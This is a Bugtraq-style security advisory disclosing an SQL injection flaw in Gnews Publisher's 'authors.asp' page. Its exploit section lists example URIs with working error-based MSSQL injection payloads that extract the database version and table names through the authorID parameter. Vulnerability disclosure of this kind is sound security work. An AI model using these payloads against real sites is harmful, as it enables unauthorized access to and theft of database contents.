Gnews Publisher 'authors.asp' SQL Injection Vulnerability

Bugtraq ID:	32883
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 16 2008 12:00AM
Updated:	Dec 19 2008 07:11PM
Credit:	AlpHaNiX
Vulnerable:	Gazatem Technologies Gnews Publisher 0
Not Vulnerable:

Gnews Publisher 'authors.asp' SQL Injection Vulnerability

Gnews Publisher is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Gnews Publisher 'authors.asp' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/gnews/authors.asp?authorID=(SQL)
http://www.example.com/gnews/authors.asp?authorID=convert(int,(select+@@version));-- http://www.example.com/gnews/authors.asp?authorID=convert(int,(select+top+1+table_name+from+information_schema.tables));--

Gnews Publisher 'authors.asp' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Gnews Publisher 'authors.asp' SQL Injection Vulnerability

References:

• Gnews Publisher Product Page (Gazatem Technologies)